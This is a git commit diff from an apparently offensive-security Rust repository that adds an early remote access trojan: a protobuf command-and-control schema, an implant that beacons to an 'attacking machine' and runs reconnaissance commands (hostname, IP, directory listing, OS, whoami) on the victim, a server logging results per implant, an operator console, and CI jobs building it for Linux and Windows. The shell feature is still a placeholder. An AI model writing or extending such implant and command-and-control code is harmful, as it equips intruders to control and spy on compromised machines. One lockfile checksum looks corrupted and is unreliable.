main merge

This commit is contained in:
koins
2022-09-10 05:55:56 -07:00
15 changed files with 1000 additions and 3 deletions
@@ -0,0 +1,6 @@
{
"schemaVersion": 1,
"label": "remote_access_trojan",
"message": "1.0.0",
"color": "blue"
}
+14
View File
@@ -12,6 +12,7 @@ env:
CARGO_TERM_COLOR: always
jobs:
linux-reverse-shell:
runs-on: ubuntu-latest
@@ -220,6 +221,19 @@ jobs:
- name: Build hash shellcode for Linux
run: cargo build -p hash_params --verbose
linux-remote-access-trojan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Update rust
run: rustup update
- name: Update cargo
run: cargo update
- name: Build remote access trojan for Linux
run: cargo build -p remote_access_trojan --verbose
linux-all:
runs-on: ubuntu-latest
+22
View File
@@ -120,3 +120,25 @@ jobs:
- uses: stefanzweifel/git-auto-commit-action@v4.14.1
with:
commit_message: "Update hash params badge data via Github Action"
update-remote-access-trojan:
runs-on: ubuntu-latest
needs: update-hash-params
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.head_ref }}
- uses: dante-signal31/rust-app-version@v1.0.0
id: remote_access_trojan_ver
with:
cargo_toml_folder: 'remote_access_trojan/'
- name: Update remote_access_trojan version
uses: jossef/action-set-json-field@v2
with:
file: '.custom_shields/remote_access_trojan.json'
field: message
value: ${{ steps.remote_access_trojan_ver.outputs.app_version }}
- uses: stefanzweifel/git-auto-commit-action@v4
with:
commit_message: "Update remote access trojan badge data via Github Action"
+21 -2
View File
@@ -295,7 +295,7 @@ jobs:
- uses: actions/checkout@v3
- name: Update cargo
run: cargo update
- name: Build xor shellcode for Windows
- name: Build xor params for Windows
run: cargo build -p xor_params --target x86_64-pc-windows-gnu --verbose
windows-hash-params:
@@ -314,9 +314,28 @@ jobs:
- uses: actions/checkout@v3
- name: Update cargo
run: cargo update
- name: Build xor shellcode for Windows
- name: Build hash params for Windows
run: cargo build -p hash_params --target x86_64-pc-windows-gnu --verbose
windows-remote-access-trojan:
runs-on: ubuntu-latest
steps:
- name: Update rust
run: rustup update
- name: Apt update
run: sudo apt-get update
- name: Install linker
run: sudo apt-get -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- uses: actions/checkout@v2
- name: Update cargo
run: cargo update
- name: Build remote access trojan for Windows
run: cargo build -p remote_access_trojan --target x86_64-pc-windows-gnu --verbose
windows-all:
runs-on: ubuntu-latest
Generated
+227 -1
View File
@@ -2,12 +2,99 @@
# It is not intended for manual editing.
version = 3
[[package]]
name = "anyhow"
version = "1.0.56"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4361135be9122e0870de935d7c439aef945b9f9ddd4199a553b5270b49c82a27"
[[package]]
name = "async-stream"
version = "0.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dad5c83079eae9969be7fadefe640a1c566901f05ff91ab221de4b6f68d9507e"
dependencies = [
"async-stream-impl",
"futures-core",
]
[[package]]
name = "async-stream-impl"
version = "0.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "10f203db73a71dfa2fb6dd22763990fa26f3d2625a6da2da900d23b87d26be27"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "async-trait"
version = "0.1.53"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ed6aa3524a2dfcf9fe180c51eae2b58738348d819517ceadf95789c51fff7600"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "autocfg"
version = "1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
[[package]]
name = "axum"
version = "0.5.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "47594e438a243791dba58124b6669561f5baa14cb12046641d8008bf035e5a25"
dependencies = [
"async-trait",
"axum-core",
"bitflags",
"bytes",
"futures-util",
"http",
"http-body",
"hyper",
"itoa",
"matchit",
"memchr",
"mime",
"percent-encoding",
"pin-project-lite",
"serde",
"sync_wrapper",
"tokio",
"tower",
"tower-http",
"tower-layer",
"tower-service",
]
[[package]]
name = "axum-core"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9a671c9ae99531afdd5d3ee8340b8da547779430689947144c140fc74a740244"
dependencies = [
"async-trait",
"bytes",
"futures-util",
"http",
"http-body",
"mime",
]
[[package]]
name = "base64"
version = "0.13.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd"
[[package]]
name = "bitflags"
version = "1.3.2"
@@ -18,7 +105,7 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
name = "cfg-if"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40sfd"
[[package]]
name = "getrandom"
@@ -45,6 +132,27 @@ version = "0.2.132"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5"
[[package]]
name = "log"
version = "0.4.16"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6389c490849ff5bc16be905ae24bc913a9c8892e19b2341dbc175e14c341c2b8"
dependencies = [
"cfg-if",
]
[[package]]
name = "matchit"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "73cbba799671b762df5a175adf59ce145165747bb891505c43d09aefbbf38beb"
[[package]]
name = "memchr"
version = "2.4.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a"
[[package]]
name = "memoffset"
version = "0.6.5"
@@ -54,6 +162,41 @@ dependencies = [
"autocfg",
]
[[package]]
name = "mime"
version = "0.3.16"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d"
[[package]]
name = "mio"
version = "0.8.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "52da4364ffb0e4fe33a9841a98a3f3014fb964045ce4f7a45a398243c8d6b0c9"
dependencies = [
"libc",
"log",
"miow",
"ntapi",
"wasi 0.11.0+wasi-snapshot-preview1",
"winapi",
]
[[package]]
name = "miow"
version = "0.3.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b9f1c5b025cda876f66ef43a113f91ebc9f4ccef34843000e0adf6ebbab84e21"
dependencies = [
"winapi",
]
[[package]]
name = "multimap"
version = "0.8.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a"
[[package]]
name = "nix"
version = "0.25.0"
@@ -142,6 +285,89 @@ dependencies = [
"windows",
]
[[package]]
name = "redox_syscall"
version = "0.2.13"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42"
dependencies = [
"bitflags",
]
[[package]]
name = "regex"
version = "1.5.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1a11647b6b25ff05a515cb92c365cec08801e83423a235b51e231e1808747286"
dependencies = [
"regex-syntax",
]
[[package]]
name = "regex-syntax"
version = "0.6.25"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f497285884f3fcff424ffc933e56d7cbca511def0c9831a7f9b5f6153e3cc89b"
[[package]]
name = "remote_access_trojan"
version = "0.1.0"
dependencies = [
"prost",
"rco_config",
"tokio",
"tonic",
"tonic-build",
]
[[package]]
name = "remove_dir_all"
version = "0.5.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7"
dependencies = [
"winapi",
]
[[package]]
name = "serde"
version = "1.0.136"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ce31e24b01e1e524df96f1c2fdd054405f8d7376249a5110886fb4b658484789"
[[package]]
name = "slab"
version = "0.4.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "eb703cfe953bccee95685111adeedb76fabe4e97549a58d16f03ea7b9367bb32"
[[package]]
name = "socket2"
version = "0.4.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0"
dependencies = [
"libc",
"winapi",
]
[[package]]
name = "syn"
version = "1.0.91"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b683b2b825c8eef438b77c36a06dc262294da3d5a5813fac20da149241dcd44d"
dependencies = [
"proc-macro2",
"quote",
"unicode-xid",
]
[[package]]
name = "sync_wrapper"
version = "0.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "20518fe4a4c9acf048008599e464deb21beeae3d3578418951a189c235a7a9a8"
[[package]]
name = "tcp_reverse_shell"
version = "1.3.0"
+1
View File
@@ -8,6 +8,7 @@ members = [
"rco_utils",
"tcp_reverse_shell",
"xor_params",
"remote_access_trojan",
]
[profile.release]
+9
View File
@@ -44,3 +44,12 @@ pub const ENCRYPTED_LINUX_MIGRATION_TARGET: &[u8] = &[0x60, 0x61, 0x73, 0x6d, 0x
pub const ENCRYPTED_WINDOWS_HOLLOWING_TARGET: &[u8] = &[0x42, 0x38, 0x5f, 0x53, 0x6c, 0x6f, 0x66, 0x6c, 0x73, 0x76, 0x5d, 0x51, 0x7a, 0x77, 0x71, 0x64, 0x6f, 0x30, 0x36, 0x59, 0x72, 0x74, 0x60, 0x6c, 0x6a, 0x72, 0x76, 0x2d, 0x61, 0x7d, 0x64];
// Linux process to hollow (using a full path is advised)
pub const ENCRYPTED_LINUX_HOLLOWING_TARGET: &[u8] = &[0x2e, 0x60, 0x6a, 0x6a, 0x2a, 0x62, 0x77, 0x71, 0x68];
/*
For remote_access_trojan
*/
// IP address of the attacking machine
pub const RAT_SERVER_LOCATION: &str = "127.0.0.1";
// Port the attacking machine is listening on
pub const RAT_SERVER_PORT: u16 = 4444;
+29
View File
@@ -0,0 +1,29 @@
[package]
name = "remote_access_trojan"
version = "0.1.0"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.59"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
rco_config = {path = "../rco_config"}
prost = ">=0.9"
tonic = ">=0.6"
tokio = { version = ">=1.17", features = ["rt-multi-thread"] }
[build-dependencies]
tonic-build = ">=0.6"
[[bin]]
name = "operator"
path = "src/operator.rs"
[[bin]]
name = "implant"
path = "src/implant.rs"
[[bin]]
name = "server"
path = "src/server.rs"
+5
View File
@@ -0,0 +1,5 @@
# RCO: Remote Access Trojan
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fremote_access_trojan.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/remote_access_trojan)
Probably need to revisit this when it's done, not much point doing it now
+8
View File
@@ -0,0 +1,8 @@
fn main() {
let proto_file = "./rat.proto";
tonic_build::configure()
.build_server(true)
.compile(&[proto_file], &["."])
.unwrap();
}
+73
View File
@@ -0,0 +1,73 @@
syntax = "proto3";
package rat;
service AskForInstructions {
rpc Send (Beacon) returns (CommandRequest);
}
service RecordCommandResult {
rpc Send (CommandResponse) returns (Empty);
}
service ScheduleCommand {
rpc Send (OperatorRequest) returns (OperatorResponse);
}
// Enum variants have to be globally unique apparently, so prepending an "Op" in front of these ones
enum OperatorCommand {
OpCadence = 0;
OpDir = 1;
OpHostname = 2;
OpIp = 3;
OpLs = 4;
OpOs = 5;
OpNone = 6;
OpQuit = 7;
OpShell = 8;
OpWhoami = 9;
OpImplants = 10;
OpHelp = 11;
OpRetrieve = 12;
}
enum RATCommand {
Cadence = 0;
Dir = 1;
Hostname = 2;
Ip = 3;
Ls = 4;
None = 5;
Os = 6;
Quit = 7;
Shell = 8;
Whoami = 9;
}
message Beacon {
uint32 requested_command = 1;
}
message CommandRequest {
RATCommand command = 1;
string arguments = 2;
}
message CommandResponse {
string implant_id = 1;
uint64 timestamp = 2;
RATCommand command = 3;
string arguments = 4;
string result = 5;
}
message OperatorRequest {
OperatorCommand command = 1;
string arguments = 2;
}
message OperatorResponse {
string data = 1;
}
message Empty {}
+240
View File
@@ -0,0 +1,240 @@
use remote_access_trojan::rat::{Beacon, CommandResponse};
use remote_access_trojan::rat::ask_for_instructions_client::AskForInstructionsClient;
use remote_access_trojan::rat::RatCommand;
use remote_access_trojan::rat::record_command_result_client::RecordCommandResultClient;
use std::collections::hash_map::DefaultHasher;
use std::hash::{Hash, Hasher};
use std::process::Command;
use std::{mem, thread};
use std::time::{Duration, SystemTime};
use tonic::transport::Endpoint;
/*
TODO
- implant 'shell' command
- encrypt traffic from implant to server
- alternate communication method(s) between implant and server
*/
// Return the hostname as a string
fn get_hostname() -> String {
let hostname = Command::new("hostname")
.output()
.unwrap();
let hostname = String::from_utf8(hostname.stdout).unwrap();
let hostname = hostname.trim();
hostname.to_string()
}
// Return the IP address of the victim as a string - Linux
#[cfg(target_os = "linux")]
fn get_ip_address() -> String {
let ip_address = Command::new("hostname")
.arg("-I")
.output()
.unwrap();
let ip_address = String::from_utf8(ip_address.stdout).unwrap();
let ip_address = ip_address.trim();
ip_address.to_string()
}
// Return the IP address of the victim as a string - Windows
#[cfg(windows)]
fn get_ip_address() -> String {
let ip_address = Command::new("ipconfig")
.arg("|")
.arg("findstr")
.arg("IPv4")
.output()
.unwrap();
let ip_address = String::from_utf8(ip_address.stdout).unwrap();
let ip_address: Vec<&str> = ip_address.split(':').collect();
let ip_address = ip_address[1].trim();
ip_address.to_string()
}
// Return the current directory listing as a string - Linux
#[cfg(target_os = "linux")]
fn get_directory_listing() -> String {
let directory = Command::new("ls")
.output()
.unwrap();
let directory = String::from_utf8(directory.stdout).unwrap();
let directory = directory.trim();
directory.to_string()
}
// Return the current directory listing as a string - Windows
#[cfg(windows)]
fn get_directory_listing() -> String {
let directory = Command::new("dir")
.output()
.unwrap();
let directory = String::from_utf8(directory.stdout).unwrap();
let directory = directory.trim();
directory.to_string()
}
// Return the operating system of the victim as a string - Linux
#[cfg(target_os = "linux")]
fn get_operating_system() -> String {
let os = Command::new("cat")
.arg("/proc/version")
.output()
.unwrap();
let os = String::from_utf8(os.stdout).unwrap();
let os = os.trim();
os.to_string()
}
// Return the operating system of the victim as a string - Windows
#[cfg(windows)]
fn get_operating_system() -> String {
let os = Command::new("systeminfo")
.arg("|")
.arg("findstr")
.arg("OS ")
.output()
.unwrap();
let os = String::from_utf8(os.stdout).unwrap();
let os = os.trim();
os.to_string()
}
// Return the user compromised on the victim as a string
fn get_username() -> String {
let username = Command::new("whoami")
.output()
.unwrap();
let username = String::from_utf8(username.stdout).unwrap();
let username = username.trim();
username.to_string()
}
// Hash a thing and return the value as a u64
fn calculate_hash<T: Hash>(t: &T) -> u64 {
let mut s = DefaultHasher::new();
t.hash(&mut s);
s.finish()
}
// Generate an implant ID, which is the hashed value of {hostname}:{ip_address} formatted as a hex string
fn generate_implant_id() -> String {
let hostname = get_hostname();
let ip_address = get_ip_address();
let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}"));
format!("{hashed_value:x}")
}
struct ImplantState {
implant_id: String,
cadence: Duration,
server_location: String,
server_port: u16,
command_number: u32
}
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// Initialize state
let mut state = ImplantState {
implant_id: generate_implant_id(),
cadence: Duration::from_millis(10000),
server_location: String::from(rco_config::RAT_SERVER_LOCATION),
server_port: rco_config::RAT_SERVER_PORT,
command_number: 0
};
loop {
// Set up connection to server
let location = state.server_location.clone();
let port = state.server_port;
let socket = format!("http://{location}:{port}");
let channel = Endpoint::from_shared(socket.clone())?
.connect()
.await?;
// Prepare a client for beaconing
let mut ask_client = AskForInstructionsClient::new(channel.clone());
// Prepare a client for sending back command results
let mut response_client = RecordCommandResultClient::new(channel.clone());
// Request the next command
let request = tonic::Request::new(
Beacon {
requested_command: state.command_number
},
);
// Parse the response from the server
let response = ask_client.send(request).await?.into_inner();
let command = RatCommand::from_i32(response.command).unwrap();
// Run the applicable command
let command_result = match command {
RatCommand::Cadence => {
state.command_number += 1;
let seconds = response.arguments.parse::<u64>()?;
state.cadence = Duration::from_millis(seconds * 1000);
"Beacon cadence changed".to_string()
},
RatCommand::Dir => {
state.command_number += 1;
get_directory_listing()
},
RatCommand::Hostname => {
state.command_number += 1;
get_hostname()
},
RatCommand::Ip => {
state.command_number += 1;
get_ip_address()
},
RatCommand::Ls => {
state.command_number += 1;
get_directory_listing()
},
// The server does not have any commands to run that the implant has not already run
RatCommand::None => {
mem::drop(channel);
mem::drop(ask_client);
mem::drop(response_client);
thread::sleep(state.cadence);
continue
},
RatCommand::Os => {
state.command_number += 1;
get_operating_system()
},
RatCommand::Quit => {
state.command_number += 1;
break
},
RatCommand::Shell => {
state.command_number += 1;
"PLACEHOLDER".to_string()
},
RatCommand::Whoami => {
state.command_number += 1;
get_username()
}
};
// Format the response to the server
let result = tonic::Request::new(
CommandResponse {
implant_id: state.implant_id.clone(),
timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(),
command: response.command,
arguments: response.arguments,
result: command_result
},
);
// Send the response to the server
response_client.send(result).await?;
// By dropping these I can prevent having an always-established TCP session
mem::drop(channel);
mem::drop(ask_client);
mem::drop(response_client);
// Sleep until it is time to beacon again
thread::sleep(state.cadence);
}
Ok(())
}
+114
View File
@@ -0,0 +1,114 @@
use crate::rat::{OperatorCommand, RatCommand};
pub mod rat {
tonic::include_proto!("rat");
}
// Hacky copy of the protobuf in rat.rs
pub enum RsRatCommand {
Cadence = 0,
Dir = 1,
Hostname = 2,
Ip = 3,
Ls = 4,
None = 5,
Os = 6,
Quit = 7,
Shell = 8,
Whoami = 9,
}
// Way to convert the hacky copy of the protobuf to a string slice
impl From<RsRatCommand> for &str {
fn from(rat_command: RsRatCommand) -> Self {
match rat_command {
RsRatCommand::Cadence => "cadence",
RsRatCommand::Dir => "dir",
RsRatCommand::Hostname => "hostname",
RsRatCommand::Ip => "ip",
RsRatCommand::Ls => "ls",
RsRatCommand::None => "none",
RsRatCommand::Os => "os",
RsRatCommand::Quit => "quit",
RsRatCommand::Shell => "shell",
RsRatCommand::Whoami => "whoami",
}
}
}
// Way to convert from the protobuf enum into the hacky copy of the protobuf
impl From<RatCommand> for RsRatCommand {
fn from(command: RatCommand) -> Self {
match command {
RatCommand::Cadence => RsRatCommand::Cadence,
RatCommand::Dir => RsRatCommand::Dir,
RatCommand::Hostname => RsRatCommand::Hostname,
RatCommand::Ip => RsRatCommand::Ip,
RatCommand::Ls => RsRatCommand::Ls,
RatCommand::None => RsRatCommand::None,
RatCommand::Os => RsRatCommand::Os,
RatCommand::Quit => RsRatCommand::Quit,
RatCommand::Shell => RsRatCommand::Shell,
RatCommand::Whoami => RsRatCommand::Whoami,
}
}
}
// Hacky copy of different protobuf in rat.rs
pub enum RsOperatorCommand {
OpCadence = 0,
OpDir = 1,
OpHostname = 2,
OpIp = 3,
OpLs = 4,
OpNone = 5,
OpOs = 6,
OpQuit = 7,
OpShell = 8,
OpWhoami = 9,
OpImplants = 10,
OpHelp = 11,
OpRetrieve = 12,
}
// Way to convert a string slice to the second hacky protobuf copy
impl From<RsOperatorCommand> for OperatorCommand {
fn from(command: RsOperatorCommand) -> Self {
match command {
RsOperatorCommand::OpCadence => OperatorCommand::OpCadence,
RsOperatorCommand::OpDir => OperatorCommand::OpDir,
RsOperatorCommand::OpHostname => OperatorCommand::OpHostname,
RsOperatorCommand::OpIp => OperatorCommand::OpIp,
RsOperatorCommand::OpLs => OperatorCommand::OpLs,
RsOperatorCommand::OpOs => OperatorCommand::OpOs,
RsOperatorCommand::OpQuit => OperatorCommand::OpQuit,
RsOperatorCommand::OpShell => OperatorCommand::OpShell,
RsOperatorCommand::OpWhoami => OperatorCommand::OpWhoami,
RsOperatorCommand::OpImplants => OperatorCommand::OpImplants,
RsOperatorCommand::OpHelp => OperatorCommand::OpHelp,
RsOperatorCommand::OpRetrieve => OperatorCommand::OpRetrieve,
RsOperatorCommand::OpNone => OperatorCommand::OpNone,
}
}
}
// Way to convert a second hacky protobuf copy to the actual protobuf
impl From<&str> for RsOperatorCommand {
fn from(in_slice: &str) -> Self {
match in_slice {
"cadence" => RsOperatorCommand::OpCadence,
"dir" => RsOperatorCommand::OpDir,
"hostname" => RsOperatorCommand::OpHostname,
"ip" => RsOperatorCommand::OpIp,
"ls" => RsOperatorCommand::OpLs,
"os" => RsOperatorCommand::OpOs,
"quit" => RsOperatorCommand::OpQuit,
"shell" => RsOperatorCommand::OpShell,
"whoami" => RsOperatorCommand::OpWhoami,
"implants" => RsOperatorCommand::OpImplants,
"help" => RsOperatorCommand::OpHelp,
"retrieve" => RsOperatorCommand::OpRetrieve,
_ => RsOperatorCommand::OpNone,
}
}
}
+48
View File
@@ -0,0 +1,48 @@
use remote_access_trojan::RsOperatorCommand;
use remote_access_trojan::rat::{OperatorCommand, OperatorRequest};
use remote_access_trojan::rat::schedule_command_client::ScheduleCommandClient;
use std::io::{stdin, stdout, Write};
use tonic::transport::Endpoint;
/*
TODO
- send commands from operator to server
- encrypt traffic from operator to server
*/
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
println!("operator");
// Set up connection to server
let location = rco_config::RAT_SERVER_LOCATION;
let port = rco_config::RAT_SERVER_PORT;
let socket = format!("http://{location}:{port}");
let channel = Endpoint::from_shared(socket.clone())?
.connect()
.await?;
// Prepare a client for beaconing
let mut schedule_client = ScheduleCommandClient::new(channel.clone());
loop {
print!("Command > ");
stdout().flush().unwrap();
let mut line = String::new();
stdin().read_line(&mut line).unwrap();
let split_line: Vec<&str> = line.split(' ').collect();
let (command, arguments) = match split_line.len() {
0 => continue,
1 => (RsOperatorCommand::from(split_line[0].trim()).into(), "".to_string()),
_ => (RsOperatorCommand::from(split_line[0].trim()).into(), split_line[1].trim().to_string()),
};
let request = tonic::Request::new(
OperatorRequest {
command: OperatorCommand::try_into(command).unwrap(),
arguments
},
);
let response = schedule_client.send(request).await?.into_inner();
let print_for_operator = response.data;
println!("{print_for_operator}");
}
Ok(())
}
+183
View File
@@ -0,0 +1,183 @@
use remote_access_trojan::rat::{OperatorCommand, OperatorRequest, OperatorResponse, RatCommand};
use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer};
use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer};
use remote_access_trojan::rat::schedule_command_server::{ScheduleCommand, ScheduleCommandServer};
use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse};
use remote_access_trojan::RsRatCommand;
use std::collections::HashMap;
use std::convert::From;
use std::fs::OpenOptions;
use std::io::Write;
use std::path::Path;
use tonic::{Request, Response, Status};
use tonic::transport::Server;
/*
TODO
- server state mutable
- accept commands from operator to server
- server 'retrieve' command
- server 'implants' command
- encrypt traffic from implant to server
- encrypt traffic from operator to server
- alternate communication method(s) between implant and server
*/
#[derive(Default)]
pub struct MyAskForInstructions {}
#[tonic::async_trait]
impl AskForInstructions for MyAskForInstructions {
async fn send(&self, request: Request<Beacon>) -> Result<Response<CommandRequest>, Status> {
// This will get removed when I have a client
let fake_commands = HashMap::from([
(0, (RatCommand::Hostname, "".to_string())),
(1, (RatCommand::Ip, "".to_string())),
(2, (RatCommand::Ls, "".to_string())),
(3, (RatCommand::Cadence, "2".to_string())),
]);
// Get the command number that the implant is requesting
let command_number: usize = request.into_inner().requested_command.try_into().unwrap();
// If the command number exists in the server already, send it back to the implant to run
// Otherwise, send the 'None' command, which tells the implant there is nothing new
if fake_commands.len() > command_number {
Ok(Response::new(
CommandRequest {
command: RatCommand::try_into(fake_commands[&command_number].0).unwrap(),
arguments: fake_commands[&command_number].1.clone()
}
))
} else {
Ok(Response::new(
CommandRequest {
command: RatCommand::try_into(RatCommand::None).unwrap(),
arguments: String::from("")
}
))
}
}
}
#[derive(Default)]
pub struct MyRecordCommandResult {}
#[tonic::async_trait]
impl RecordCommandResult for MyRecordCommandResult {
async fn send(&self, request: Request<CommandResponse>) -> Result<Response<Empty>, Status> {
// Get the response from the implant and prepare it for recording
let request = request.into_inner();
let implant_id = request.implant_id;
let timestamp = request.timestamp;
let command: &str = RsRatCommand::from(RatCommand::from_i32(request.command).unwrap()).into();
let arguments = request.arguments;
let result = request.result;
// Determine where the result should be written based on the implant ID
let filename = format!("./{implant_id}.csv");
// If the file already exists, the only data we need is in the implant's message
let mut data = format!("{implant_id},{timestamp},{command},{arguments},{result}");
// Otherwise, we also need to give the file a header
if !Path::new(&filename).exists() {
data = format!("timestamp,command,arguments,result\n{implant_id},{timestamp},{command},{arguments},{result}");
}
// Open the file and write the data to it
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(filename)
.unwrap();
writeln!(file, "{data}").unwrap();
// Respond to the implant basically say 'done'
Ok(Response::new(
Empty {}
))
}
}
#[derive(Default)]
pub struct MyScheduleCommand {}
#[tonic::async_trait]
impl ScheduleCommand for MyScheduleCommand {
async fn send(&self, request: Request<OperatorRequest>) -> Result<Response<OperatorResponse>, Status> {
// Get the request from the operator and figure out what to do with it
let inner = request.into_inner();
let command = OperatorCommand::from_i32(inner.command).unwrap();
let arguments = inner.arguments;
// Run the applicable command
let command_result = match command {
OperatorCommand::OpCadence => {
format!("got a cadence {arguments}!")
},
OperatorCommand::OpDir => {
// Passthrough
"got a dir".to_string()
},
OperatorCommand::OpImplants => {
// List all implant IDs
"got an implants".to_string()
},
OperatorCommand::OpHelp => {
"Valid commands:\n\tcadence <number in seconds>\n\tdir\n\thostname\n\thelp\n\timplants\n\tip\n\tls\n\tos\n\tquit\n\tretrieve <implant id>\n\tshell\n\twhoami".to_string()
},
OperatorCommand::OpHostname => {
// Passthrough
"got a hostname".to_string()
},
OperatorCommand::OpIp => {
// Passthrough
"got an ip".to_string()
},
OperatorCommand::OpLs => {
// Passthrough
"got an ls".to_string()
},
OperatorCommand::OpOs => {
// Passthrough
"got an os".to_string()
},
OperatorCommand::OpQuit => {
// Passthrough
"got a quit".to_string()
},
OperatorCommand::OpRetrieve => {
// Retrieve data from implant
"got a retrieve".to_string()
},
OperatorCommand::OpShell => {
// Passthrough
"got a shell".to_string()
},
OperatorCommand::OpWhoami => {
// Passthrough
"got a whoami".to_string()
},
_ => {
// I think this isn't possible?
"uh oh".to_string()
}
};
// Respond to the implant basically say 'done'
Ok(Response::new(
OperatorResponse {
data: command_result
}
))
}
}
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// Set up the server parameters
let port = rco_config::RAT_SERVER_PORT;
let socket = format!("127.0.0.1:{port}").parse()?;
// Stand up the server and run it
Server::builder()
.add_service(AskForInstructionsServer::new(MyAskForInstructions::default()))
.add_service(RecordCommandResultServer::new(MyRecordCommandResult::default()))
.add_service(ScheduleCommandServer::new(MyScheduleCommand::default()))
.serve(socket)
.await?;
Ok(())
}